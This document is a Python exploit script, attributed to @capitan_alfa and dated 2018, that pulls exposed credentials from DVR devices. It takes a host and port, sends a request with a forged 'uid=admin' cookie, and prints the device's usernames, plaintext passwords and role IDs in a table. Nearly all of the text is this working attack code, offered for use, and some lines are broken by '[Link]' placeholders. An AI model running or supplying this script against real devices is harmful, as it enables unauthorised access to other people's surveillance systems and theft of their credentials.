# -*- coding: utf-8 -*-
from __future__ import print_function
import json
import requests
import argparse
import tableprint as tp
class Colors:
BLUE = '\033[94m'
GREEN = '\033[32m'
RED = '\033[0;31m'
DEFAULT = '\033[0m'
ORANGE = '\033[33m'
WHITE = '\033[97m'
BOLD = '\033[1m'
BR_COLOUR = '\033[1;37;40m'
banner = '''
__..--.._
..... .--~ ..... `.
.": "`-.. . .' ..-'" :". `
` `._ ` _.'`"( `-"'`._ ' _.' '
~~~ `. ~~~
.'
/
(
^---'
[*] @capitan_alfa
'''
details = '''
# Exploit Title: DVRs; Credentials Exposed
# Date: 09/04/2018
# Exploit Author: Fernandez Ezequiel ( @capitan_alfa )
# version: 1.2
'''
parser = [Link](prog='getDVR_Credentials.py',
description=' [+] Obtaining Exposed credentials',
epilog='[+] Demo: python getDVR_Credentials.py --
host [Link] -p 81')
parser.add_argument('--host', dest="HOST", help='Host', required=True)
parser.add_argument('--port', dest="PORT", help='Port', default=80)
args = parser.parse_args()
HST = [Link]
port = [Link]
headers = {}
fullHost_1 = "[Link]
host = "[Link]
print([Link]+banner+[Link])
def makeReqHeaders(xCookie):
headers["Host"] = host
headers["User-Agent"] = "Morzilla/7.0 (911; Pinux x86_128; rv:9743.0)"
headers["Accept"] =
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
headers["Accept-Languag"] = "es-AR,en-US;q=0.7,en;q=0.3"
headers["Connection"] = "close"
headers["Content-Type"] = "text/html"
headers["Cookie"] = "uid="+xCookie
return headers
try:
rX =
[Link](fullHost_1,headers=makeReqHeaders(xCookie="admin"),timeout=10.000)
except Exception as e:
#print(e)
print([Link]+" [+] Timed out\n"+[Link])
exit()
badJson = [Link]
try:
dataJson = [Link](badJson)
totUsr = len(dataJson["list"])
except Exception as e:
print(" [+] Error: "+str(e))
print(" [>] json: "+str(rX))
exit()
print([Link]+"\n [+] DVR (url):\t\t"+[Link]+str(host)+[Link])
print(" [+] Port: \t\t"+[Link]+str(port)+[Link])
print([Link]+"\n [+] Users List:\t"+[Link]+str(totUsr)+[Link])
print(" ")
final_data = []
try:
for obj in range(0,totUsr):
temp = []
_usuario = dataJson["list"][obj]["uid"]
_password = dataJson["list"][obj]["pwd"]
_role = dataJson["list"][obj]["role"]
[Link](_usuario)
[Link](_password)
[Link](_role)
final_data.append(temp)
hdUsr = [Link] + "Username" + [Link]
hdPass = [Link] + "Password" + [Link]
hdRole = [Link] + "Role ID" + [Link]
cabeceras = [hdUsr, hdPass, hdRole]
[Link](final_data, cabeceras, width=20)
except Exception as e:
print(" [!]: "+str(e))
print(" [+] "+ str(dataJson))
print(" ")
thanks = '''
[*] [Link] --> Accepted suggestion: compatibility with python 3
'''